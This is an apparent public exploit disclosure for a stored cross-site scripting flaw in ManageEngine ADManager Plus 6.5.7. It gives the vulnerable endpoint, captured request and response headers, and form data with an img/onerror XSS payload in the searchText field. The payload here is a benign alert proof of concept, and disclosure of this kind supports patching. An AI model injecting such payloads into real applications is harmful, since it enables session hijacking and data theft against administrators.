ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting

# Exploit Title: ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting
# Date: 2018-08-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.manageengine.com/
# Hardware Link : https://www.manageengine.com/products/ad-manager/
# Software : ZOHO Corp ManageEngine ADManager Plus
# Product Version:  6.5.7
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# Zoho ManageEngine ADManager Plus 6.5.7 allows XSS on the "Workflow Delegation" "Requesters" screen.

# HTTP Request Header :

Request URL: http://TARGET:8080/ADMPTechnicians.do?methodToCall=listTechnicianRows
Request Method: POST
Status Code: 200 OK
Remote Address: TARGET:8080
Referrer Policy: no-referrer-when-downgrade
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Length: 320
Content-type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: adscsrf=614ff642-779b-41aa-bff5-44370ad770c2; JSESSIONID=3CED862790101335DD0EB05EE42E4972; JSESSIONIDSSO=3E6785DB8D6DFD46D6C729579E68418D
Host: TARGET:8080
Origin: http://TARGET:8080
Referer: http://TARGET:8080/Delegation.do?selectedTab=delegation&selectedTile=technicians
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
X-Requested-With: XMLHttpRequest

# HTTP Response Header :

Content-Length: 3753
Content-Type: text/html;charset=UTF-8
Date: Tue, 14 Aug 2018 10:14:32 GMT
Server: Apache-Coyote/1.1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1

# Query String Parameters :

methodToCall: listTechnicianRows

# Form Data :

params: {"startIndex":1,"range":10,"searchText":"\"><img src=x onerror=alert('TESTER')>","ascending":true,"isNavigation":false,"adminSelected":false,"isNewRange":false,"sortColumn":FULL_NAME,"typeFilters":"","domainFilters":"","viewType":defaultView}
adscsrf: 614ff642-779b-41aa-bff5-44370ad770c2